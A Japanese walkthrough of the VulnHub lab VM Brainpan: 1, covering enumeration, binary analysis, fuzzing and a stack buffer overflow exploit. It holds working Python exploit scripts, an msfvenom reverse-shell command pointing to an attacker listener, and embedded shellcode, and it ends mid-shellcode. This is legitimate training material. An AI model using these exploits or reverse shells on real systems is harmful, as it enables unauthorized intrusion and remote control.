LoginSignup
4
0

More than 3 years have passed since last update.

【VulnHub】Brainpan: 1 - Walkthrough -

Last updated at Posted at 2019-09-17

Brainpan: 1」は、「superkojiman」によって開発され、VulnHubにて公開されているシリーズの一つです。

リリース情報

名称: Brainpan: 1
リリース日: 2013年3月20日
シリーズ: Brainpan
作者: superkojiman
Twitter: @superkojiman

Walkthrough

列挙

稼働しているIPアドレスの特定

ネットワーク内のIPアドレスを探すために、netdiscoverコマンドを使用します。

root@kali:~# netdiscover -r 172.16.208.0/24 
 Currently scanning: Finished!   |   Screen View: Unique Hosts                   

 4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240                 
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 172.16.208.1    00:50:56:c0:00:08      1      60  VMware, Inc.                  
 172.16.208.2    00:50:56:f3:32:8a      1      60  VMware, Inc.                  
 172.16.208.233  00:0c:29:f9:f6:fd      1      60  VMware, Inc.                  
 172.16.208.254  00:50:56:f0:ad:14      1      60  VMware, Inc.

これで、標的のIPアドレスが172.16.208.233であることが特定できました。

実行されているサービスの特定

次にどのサービスが実行されているのか特定を行います。ポートスキャンの実行です。nmap -Pn -sS -sV -p- 172.16.208.233コマンド構文を使用します。各オプションの狙いは、次の通りです。

-Pn: スキャンの前に行われるpingでの疎通確認をせずにスキャンします
-sS: TCPのSYNパケットを送ってSYN+ACKが返ってくるか調査します
-sV: サービスのバージョンスキャン
-p-: すべてのポートを対象にします

root@kali:~# nmap -Pn -sS -sV -p- 172.16.208.233
Starting Nmap 7.70 ( https://nmap.org ) at 2019-09-15 15:12 JST
Nmap scan report for 172.16.208.233
Host is up (0.00052s latency).
Not shown: 65533 closed ports
PORT      STATE SERVICE VERSION
9999/tcp  open  abyss?
10000/tcp open  http    SimpleHTTPServer 0.6 (Python 2.7.3)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9999-TCP:V=7.70%I=7%D=9/15%Time=5D7DD645%P=i686-pc-linux-gnu%r(NULL
SF:,298,"_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\n_\|_\|_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|\x20\x20\x20\x20_\|_\|_\|\x
SF:20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20\x2
SF:0\x20\x20_\|_\|_\|\x20\x20_\|_\|_\|\x20\x20\n_\|\x20\x20\x20\x20_\|\x20
SF:\x20_\|_\|\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20
SF:\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20
SF:\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|\x20\x20\x20\x20_\|\x
SF:20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20
SF:_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20
SF:_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|_\|_\|\x20\x20
SF:\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20_\|
SF:\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|_\|\x20\x20\x20\x20\x20\x20
SF:_\|_\|_\|\x20\x20_\|\x20\x20\x20\x20_\|\n\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20_\|\n\n\[________________________\x20WELCOME\x20TO\x20BRAINPAN\x20
SF:_________________________\]\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ENTER\x20
SF:THE\x20PASSWORD\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\n\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20>>\x20");
MAC Address: 00:0C:29:F9:F6:FD (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 41.66 seconds
root@kali:~# 

TCP 9999のスキャン

nmapコマンドの結果から、9999/tcpがオープン状態であったことが特定されています。そこで、telnetコマンドを使ってバナー情報を取得してみましょう。

root@kali:~# telnet 172.16.208.233 9999
Trying 172.16.208.233...
Connected to 172.16.208.233.
Escape character is '^]'.
_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|                          
                                            _|

[________________________ WELCOME TO BRAINPAN _________________________]
                          ENTER THE PASSWORD                              

                          >> 
                          ACCESS DENIED
Connection closed by foreign host.
root@kali:~# 

認証機構を有するサービスが稼働しています。passwordrootadminbrainpannapniarbなど脆弱なパスワードを試行してみましたが、ログインはできませんでした。

ウェブサイトの診断

ウェブサイトから攻撃の足がかりになりそうなファイルやフォルダをリストベースのブルートフォースで探してみます。dirbコマンドを使用します。

root@kali:~# dirb http://172.16.208.233:10000/

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Sun Sep 15 18:22:10 2019
URL_BASE: http://172.16.208.233:10000/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://172.16.208.233:10000/ ----
+ http://172.16.208.233:10000/bin (CODE:301|SIZE:0)                               
+ http://172.16.208.233:10000/index.html (CODE:200|SIZE:215)                      

-----------------
END_TIME: Sun Sep 15 18:22:18 2019
DOWNLOADED: 4612 - FOUND: 2
root@kali:~#

HTTPサービスのスキャン

dirbコマンドの結果に基づいて、Firefoxブラウザを使ってアクセスしてみます。

  • index.htmlファイル
    index.png

  • /binディレクトリ
    bin.png

brainpan.exe

ダウンロード

/binディレクトリにあるbrainpan.exeをダウンロードします。

root@kali:~# wget http://172.16.208.233:10000/bin/brainpan.exe
--2019-09-15 18:30:15--  http://172.16.208.233:10000/bin/brainpan.exe
Connecting to 172.16.208.233:10000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 21190 (21K) [application/x-msdos-program]
Saving to: ‘brainpan.exe’

brainpan.exe         100%[=====================>]  20.69K  --.-KB/s    in 0.007s  

2019-09-15 18:30:15 (2.88 MB/s) - ‘brainpan.exe’ saved [21190/21190]

root@kali:~# 

表層解析

ダウンロードしたファイルについて、まずは表層解析を行います。fileコマンド、binwalkコマンドで確認してみます。

root@kali:~# file brainpan.exe 
brainpan.exe: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
root@kali:~# binwalk brainpan.exe

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             Microsoft executable, portable (PE)
6326          0x18B6          Unix path: /../gcc-3.4.5/gcc/config/i386/w32-shared-ptr.c

root@kali:~#

Windows のローダが認識可能な実行可能ファイルのようです。

ASCII文字列の確認

stringsコマンドを使って、brainpan.exeファイル中のASCII文字列について確認してみます。

root@kali:~# strings brainpan.exe
!This program cannot be run in DOS mode.

興味深いバナー情報が得られました。どうやら、標的環境で9999/tcpにて待ち受けていたのは、brainpan.exeプログラムだった模様です。

[get_reply] s = [%s]
[get_reply] copied %d bytes to buffer
shitstorm
_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|                          
                                            _|
[________________________ WELCOME TO BRAINPAN _________________________]
                          ENTER THE PASSWORD                              
                          >> 
                          ACCESS DENIED
                          ACCESS GRANTED
[+] initializing winsock...
[!] winsock init failed: %d
done.
[!] could not create socket: %d
[+] server socket created.
[!] bind failed: %d
[+] bind done on port %d
[+] waiting for connections.
[+] received connection.
[+] check is %d
[!] accept failed: %d
[+] cleaning up.

acceptbindlistenrecvsendsocketなどの関数が確認できます。これらから、ネットワークサーバーアプリケーションであるといえます。
str系関数(strcmpstrcpystrlen)が使われていることが確認できます。これらは書き込み先バッファのバッファ境界を無視するため、危険な関数たちとして知られています。

abort
atexit
free
malloc
memset
printf
signal
strcmp
strcpy
strlen
WSACleanup
WSAGetLastError
WSAStartup
accept
bind
closesocket
htons
listen
recv
send
socket

動的解析

wine環境で、brainpan.exeを実行させてみましょう。

root@kali:~# wine brainpan.exe
000f:err:service:process_send_command receiving command result timed out
[+] initializing winsock...done.
[+] server socket created.
[+] bind done on port 9999
[+] waiting for connections.

別のターミナルを立ち上げて、9999/tcpに接続してみます。やはり、推測のとおりだったようです。試しにパスワードとしてtestを入力してみました。

# telnet localhost 9999
Trying ::1...
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|                          
                                            _|

[________________________ WELCOME TO BRAINPAN _________________________]
                          ENTER THE PASSWORD                              

                          >> test
                          ACCESS DENIED
Connection closed by foreign host.

このとき、brainpan.exe側では、[get_reply] copied 6 bytes to bufferの出力を確認することができました。

root@kali:~# wine brainpan.exe
000f:err:service:process_send_command receiving command result timed out
[+] initializing winsock...done.
[+] server socket created.
[+] bind done on port 9999
[+] waiting for connections.
0015:err:service:process_send_command receiving command result timed out
0029:err:plugplay:handle_bus_relations Failed to load driver L"WineHID"
[+] received connection.
[get_reply] s = [test
]
[get_reply] copied 6 bytes to buffer
[+] check is 1
[get_reply] s = [test
]
[get_reply] copied 6 bytes to buffer

パスワードの数を数字10桁から少しずつ増やしていってみましょう。10、100、500、600と増やしていきました。

[get_reply] copied 6 bytes to buffer
[+] received connection.
[get_reply] s = [0123456789
]
[get_reply] copied 12 bytes to buffer
[+] check is -1
[get_reply] s = [0123456789
]
[get_reply] copied 12 bytes to buffer
[+] received connection.
[get_reply] s = [0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789
]
[get_reply] copied 102 bytes to buffer
[+] check is -1
[get_reply] s = [0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789
]
[get_reply] copied 102 bytes to buffer
[+] received connection.
[get_reply] s = [01234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789
]
[get_reply] copied 402 bytes to buffer
[+] check is -1
[get_reply] s = [0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789
]
[get_reply] copied 402 bytes to buffer
[+] received connection.
[get_reply] s = [01234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789
]
[get_reply] copied 502 bytes to buffer
[+] check is -1
[get_reply] s = [01234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789
]
[get_reply] copied 502 bytes to buffer
[+] received connection.
[get_reply] s = [012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789
]
[get_reply] copied 602 bytes to buffer
wine: Unhandled page fault on read access to 0x37363534 at address 0x37363534 (thread 0009), starting debugger...

600桁のパスワードを入力したところで、wine: Unhandled page fault on read access to 0x37363534 at address 0x37363534 (thread 0009), starting debugger...エラーが発生しました。

ASCII文字列の確認で得られた文字列shitstormに注目しました。ncコマンドでパイプし、送ってみました。
ACCESS GRANTEDの表示が確認できました。ただ、これ以上の操作は難しそうです。

root@kali:~# echo shitstorm | nc 172.16.208.128 9999
_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|                          
                                            _|

[________________________ WELCOME TO BRAINPAN _________________________]
                          ENTER THE PASSWORD                              

                          >>                           ACCESS GRANTED

静的解析

brainpan.exeの静的解析を行います。次のWindows環境にプログラムをコピーしました。

c:\bin>ver

Microsoft Windows [Version 6.1.7600]

c:\bin>echo %PROCESSOR_ARCHITECTURE%
x86

解析ツールの入手

予め、バイナリファイルの解析に有効な次のツールをインストールしておきます。

ツール URL
IDA Pro(アイダ プロ) https://www.hex-rays.com/products/ida/support/download_freeware.shtml
Ghidra(ギドラ) https://ghidra-sre.org/
OllyDbg(オリーデバッガ) http://www.ollydbg.de/download.htm
Immunity Debugger(イミュニティー デバッガ) https://www.immunityinc.com/products-immdbg.shtml

Immunity Debugger

Immunity Debuggerを起動し、[File] > [Open]または、F3にて、brainpan.exeを選択します。
[Debug] > [Run]または、F9にて、プログラムを実行します。
debug.png

ファジング(Fuzzing)

brainpan.exeにファズ(fuzz)データを送信するペイロードfuzzer_brainpan.pyプログラムをコーディングします。
このコードはbrainpan.exeが受け入れる限り、A文字列を100ステップで送り続けます。

#!/usr/bin/python
import sys,socket
host = "172.16.208.128"             # connect to Target IP Address
port = 9999                 # connect to port

buffer = ["A"]
counter = 100

while len(buffer) <= 30:
    buffer.append("A" * counter)
    counter = counter + 100

for string in buffer:
    print ("Fuzzing with %s bytes" % len(string))
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    connect = s.connect((host,port))
    s.send(string + '\r\n')
    data = s.recv(1024)
    s.close()

結果、700 bytesまで受け入れていることが明らかとなりました。

root@kali:~# python fuzzer_brainpan.py 
Fuzzing with 1 bytes
Fuzzing with 100 bytes
Fuzzing with 200 bytes
Fuzzing with 300 bytes
Fuzzing with 400 bytes
Fuzzing with 500 bytes
Fuzzing with 600 bytes
Fuzzing with 700 bytes

EIPの奪取

ペイロードを実行した結果、EIP(Extended Instruction Pointer:拡張命
令ポインタ)の値が41414141Aの16進コードは0x41)で上書きされていることが確認できます。
EIP.png
続いて、EIPを上書きする正確な文字数を特定する必要があります。必要となるテスト用のパターンを作成する方法はいくつかあります。
Immunity Debuggerプラグインのmona.pyまたは、Metasploit Frameworkpattern_createpatter_offsetにて生成することが可能です。

root@kali:~# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l
800Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba

作成されたパターンを送信するようにコードを書き換えます。

#!/usr/bin/python
import sys,socket
host = "172.16.208.128"
port = 9999

string = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba"

print "Fuzzing..."
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host,port))
s.send(string)
data = s.recv(1024)
for line in data:
    if 'ACCESS' in line:
        print line
s.close()

Pythonコードを実行します。Immunity Debuggerを確認すると、EIP35724134にて上書きされていることが解ります。
35724134.png

Metasploit Frameworkpatter_offsetを使用して、正確なバイトカウントを取得します。524 byteであることが判明しました。

root@kali:~# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 35724134
[*] Exact match at offset 524
root@kali:~#

Offsetの検証

コードをさらに書き換えます。

  • 524 bytesA(16進コードは0x41)でバッファを上書き
  • EIPの値を42424242Bの16進コードは0x42)で上書き
  • 500 bytesC(16進コードは0x43)を疑似ペイロードにみたて上書き
#!/usr/bin/python
import sys,socket
host = "172.16.208.128"
port = 9999

junk = b"A" * 524
EIP = b"BBBB"
payload = b"C" * 500

print "Sending Payload..."
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host,port))
s.send(junk + EIP + payload)
s.close()

Pythonコードを実行します。Immunity Debuggerを確認すると、EIP42424242にて上書きすることに成功したことが確認できます。
offset.png

JMP ESPの検索

ペイロードを発動させるには、EMPJMP ESPアドレスで上書きする必要があります。CPU - main thread, module brainpanウィンドウにて、右クリックし、[Search for] > [All commands]を選択します。
All commands.png
[Find all commands]ウィンドウにて、JMP ESPを指定して検索します。
JMP ESP.png
メモリアドレス311712F3JMP ESP命令が含まれているようです。
Found commands.png
詳細を確認してみましょう。画面上部の検索ボタンをクリックし、メモリアドレス311712F3を入力します。[OK]をクリックしてImmunity Debugger内でメモリアドレスを検索します。デバッガはアドレスにジャンプし、JMP ESP命令が実際に含まれていることを確認できます。
search.png
EIP = b"BBBB"をメモリアドレス311712F3に置き換えるコードの書き換えを行います。
このとき、x86アーキテクチャはリトルエンディアン形式のメモリアドレスを使用することに注意が必要です。すなわち、メモリアドレスを逆に入力する必要があります。メモリアドレス31 17 12 F3であれば、変数内では16進形式で\xF3\x12\x17\x31として記述する必要があります。

#!/usr/bin/python
import sys,socket
host = "172.16.208.128"
port = 9999

junk = b"A" * 524
return_address = "\xF3\x12\x17\x31"
payload = b"C" * 500

print "Sending Payload..."
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host,port))
s.send(junk + return_address + payload)
s.close()

コードを実行する前に、Immunity Debuggerでブレークポイントの設定を行います。これにより、そのポイントを超えて命令を実行する前に一時停止するように指示することを狙っています。
Immunity Debuggerで、メモリアドレス311712F3をクリックし、F2キーを押してブレークポイントを設定します。
breakpoint.png
Pythonコードを実行します。Immunity Debuggerを確認すると、ステータスバーに、JMP ESP命令を含むメモリアドレス311712F3でブレークポイントに到達したことが示されます。
paused.png
F7キーを押して次のステップへ進めます。文字列Cが上書きされているメモリアドレス0022F930へ移動します。
0022F930.png

Bad Charactersの検証

一部の16進文字は、シェルコードの実行を妨げるため、禁じられている場合があります。これをBad Charactersと呼びます。シェルコードを生成する前に定義されているBad Charactersを見つける必要があります。
典型的な例として、NULL文字またはNULLバイトと呼ばれる\x00があります。
Bad Charactersを見つけるため、まずすべての16進文字を用意する必要があります。そこで、次のPythonコードを使って16進文字の生成を行います。

import sys
for x in range(1,256):
    sys.stdout.write("\\x" + '{:02x}'.format(x))

用意したBad Charactersを送信するようにコードを書き換えます。

#!/usr/bin/python
import sys,socket
host = "172.16.208.128"
port = 9999

junk = b"A" * 524
return_address = "\xF3\x12\x17\x31"
badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

print "Sending Payload..."
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host,port))
s.send(junk + return_address + badchars)
s.close()

Pythonコードを実行し、Immunity Debuggerを確認します。ESPレジスタのFollow in Dump機能を利用し、バッファ変数がどこかで切り捨てられている可能性を確認します。
badchars.png
brainpan.exeでは、\x01から\xFFまで途切れていません。すなわち、特別に禁じられているBad Charactersはありませんでした。

Exploitの検証

msfvenomuコマンドを使用して、攻撃端末のリスナーに接続するWindowsリバースシェルシェルコードを生成します。コマンド構文は、msfvenom -p windows/shell_reverse_tcp LHOST=172.16.208.242 LPORT=4444 EXITFUNC=thread -a x86 --platform windows -b "\x00" -f c > shellcode.txtです。

root@kali:~# msfvenom -p windows/shell_reverse_tcp LHOST=172.16.208.242 LPORT=4444 EXITFUNC=thread -a x86 --platform windows -b "\x00" -f c > shellcode.txt
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of c file: 1500 bytes
root@kali:~#

用意したshellcode.txtを送信するようにコードを書き換えます。このとき、シェルコード本体の前にNOP(No Operation)命令(\x90)を8つ挿入しています。

#!/usr/bin/python
import sys,socket
host = "172.16.208.128"
port = 9999

junk = b"A" * 524
return_address = "\xF3\x12\x17\x31"
NOP = "\x90" * 8
shellcode = ("\xda\xc2\xb8\xc1\x52\xef\xec\xd9\x74\x24\xf4\x5b\x2b\xc9\xb1"
"\x52\x31\x43\x17\x03\x43\x17\x83\x02\x56\x0d\x19\x78\xbf\x53"
"\xe2\x80\x40\x34\x6a\x65\x71\x74\x08\xee\x22\x44\x5a\xa2\xce"
"\x2f\x0e\x56\x44\x5d\x87\x59\xed\xe8\xf1\x54\xee\x41\xc1\xf7"
"\x6c\x98\x16\xd7\x4d\x53\x6b\x16\x89\x8e\x86\x4a\x42\xc4\x35"
"\x7a\xe7\x90\x85\xf1\xbb\x35\x8e\xe6\x0c\x37\xbf\xb9\x07\x6e"
"\x1f\x38\xcb\x1a\x16\x22\x08\x26\xe0\xd9\xfa\xdc\xf3\x0b\x33"
"\x1c\x5f\x72\xfb\xef\xa1\xb3\x3c\x10\xd4\xcd\x3e\xad\xef\x0a"
"\x3c\x69\x65\x88\xe6\xfa\xdd\x74\x16\x2e\xbb\xff\x14\x9b\xcf"
"\xa7\x38\x1a\x03\xdc\x45\x97\xa2\x32\xcc\xe3\x80\x96\x94\xb0"
"\xa9\x8f\x70\x16\xd5\xcf\xda\xc7\x73\x84\xf7\x1c\x0e\xc7\x9f"
"\xd1\x23\xf7\x5f\x7e\x33\x84\x6d\x21\xef\x02\xde\xaa\x29\xd5"
"\x21\x81\x8e\x49\xdc\x2a\xef\x40\x1b\x7e\xbf\xfa\x8a\xff\x54"
"\xfa\x33\x2a\xfa\xaa\x9b\x85\xbb\x1a\x5c\x76\x54\x70\x53\xa9"
"\x44\x7b\xb9\xc2\xef\x86\x2a\x41\xff\x58\x58\xf1\x02\x58\x8c"
"\x5e\x8a\xbe\xc4\x4e\xda\x69\x71\xf6\x47\xe1\xe0\xf7\x5d\x8c"
